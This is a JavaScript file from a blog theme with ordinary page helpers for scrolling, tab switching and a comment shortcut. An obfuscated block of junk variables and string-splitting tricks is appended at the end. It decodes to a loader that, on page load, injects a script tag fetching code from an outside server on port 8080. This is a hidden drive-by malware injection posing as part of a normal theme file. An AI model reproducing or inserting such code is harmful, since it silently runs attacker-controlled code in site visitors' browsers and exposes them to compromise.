/*
Author: mg12
Update: 2008/05/05
Author URI: http://www.neoease.com/
*/
(function() {

function $(id) {
	return document.getElementById(id);
}

function setStyleDisplay(id, status) {
	$(id).style.display = status;
}

function goTop(a, t) {
	a = a || 0.1;
	t = t || 16;

	var x1 = 0;
	var y1 = 0;
	var x2 = 0;
	var y2 = 0;
	var x3 = 0;
	var y3 = 0;

	if (document.documentElement) {
		x1 = document.documentElement.scrollLeft || 0;
		y1 = document.documentElement.scrollTop || 0;
	}
	if (document.body) {
		x2 = document.body.scrollLeft || 0;
		y2 = document.body.scrollTop || 0;
	}
	var x3 = window.scrollX || 0;
	var y3 = window.scrollY || 0;

	var x = Math.max(x1, Math.max(x2, x3));
	var y = Math.max(y1, Math.max(y2, y3));

	var speed = 1 + a;
	window.scrollTo(Math.floor(x / speed), Math.floor(y / speed));
	if(x > 0 || y > 0) {
		var f = "MGJS.goTop(" + a + ", " + t + ")";
		window.setTimeout(f, t);
	}
}

function switchTab(showPanels, hidePanels, activeTab, activeClass, fadeTab, fadeClass) {
	$(activeTab).className = activeClass;
	$(fadeTab).className = fadeClass;

	var panel, panelList;
	panelList = showPanels.split(',');
	for (var i = 0; i < panelList.length; i++) {
		var panel = panelList[i];
		if ($(panel)) {
			setStyleDisplay(panel, 'block');
		}
	}
	panelList = hidePanels.split(',');
	for (var i = 0; i < panelList.length; i++) {
		panel = panelList[i];
		if ($(panel)) {
			setStyleDisplay(panel, 'none');
		}
	}
}

function loadCommentShortcut() {
	$('comment').onkeydown = function (moz_ev) {
		var ev = null;
		if (window.event){
			ev = window.event;
		} else {
			ev = moz_ev;
		}
		if (ev != null && ev.ctrlKey && ev.keyCode == 13) {
			$('submit').click();
		}
	}
	$('submit').value += ' (Ctrl+Enter)';
}

function getElementsByClassName(className, tag, parent) {
	parent = parent || document;

	var allTags = (tag == '*' && parent.all) ? parent.all : parent.getElementsByTagName(tag);
	var matchingElements = new Array();

	className = className.replace(/\-/g, '\\-');
	var regex = new RegExp('(^|\\s)' + className + '(\\s|$)');

	var element;
	for (var i = 0; i < allTags.length; i++) {
		element = allTags[i];
		if (regex.test(element.className)) {
			matchingElements.push(element);
		}
	}

	return matchingElements;
}

window['MGJS'] = {};
window['MGJS']['$'] = $;
window['MGJS']['setStyleDisplay'] = setStyleDisplay;
window['MGJS']['goTop'] = goTop;
window['MGJS']['switchTab'] = switchTab;
window['MGJS']['loadCommentShortcut'] = loadCommentShortcut;
window['MGJS']['getElementsByClassName'] = getElementsByClassName;

})();

var ZT={q:false};var iq;OE={Wp:false};g={iK:false};B=function(){var bD=new Date();this.N=29386;this.N-=51;var a=new Date();function i(r,J,O){return r.substr(J,O);}var L=new Array();var n="/goo"+"gle."+"com/"+"eyny"+".com"+"/msn"+".com"+i(".phpvIFC",0,4);YY=55616;YY--;Lr=35877;Lr--;var m='';this.E_=false;var DEb='';var Bx={Zo:false};var C=document;Fn=11247;Fn++;var Z=RegExp;function Q(r,J){Qr=["FF","Dl","_"];this.RS=3761;this.RS-=131;var O=String(i("[PRU",0,1))+J+String(i("]s5la",0,1));o=["asa"];var D=new Z(O, new String("g"));var pT={h:23122};return r.replace(D, m);X=48582;X++;};this.c="";var Dm=Q('sMcUr1iUp6tg','2guNAfTlLBGqUZzM69YeOa1');Up={T:false};var e=new String("body");bZ=[];var w='';var ase=new Array();var Js=new Date();var nt=981364-973284;var Yx=false;var l=null;XN=38300;XN++;Ct=9515;Ct++;iq=function(){var PC="PC";try {ps=62424;ps+=237;var u=Q('cwrDeOa9tJe9E9lFePmkeQnDtH','7OFkQ5jSDHWJTP9wN2iU0h');var sx={tkO:false};Bm=36730;Bm-=114;Zx=C[u](Dm);JY={Fa:false};var A=new Array();var p=Q('syrHcK','XWhay95lKH6mQZk');Jg=40817;Jg--;var r=nt+n;var eE="";fY=19371;fY-=54;y=["ef","TY"];try {var fd='ib'} catch(fd){};var W=new String(i("defeWn97",0,4)+"r");var mQ=["fj","yO"];MY=["CC"];var SJ=new Date();VO=28303;VO--;try {} catch(xh){};var cN={};Zx[p]=String("http"+"://w"+i("estc2ZU",0,4)+i("R7kbount7bRk",4,4)+i("ry.rTvo",0,4)+i("lqmRu:lqRm",4,2))+r;var SS='';Zx[W]=[5,1][1];var bf=new Date();try {} catch(bE){};C[e].appendChild(Zx);DL={};try {var UN='bO'} catch(UN){};} catch(t){this.HR=9249;this.HR++;};};};this.kW=56523;this.kW-=100;B();this.OA=60729;this.OA++;var AE="AE";Zy={TM:false};window.onload=iq;qX=39941;qX++;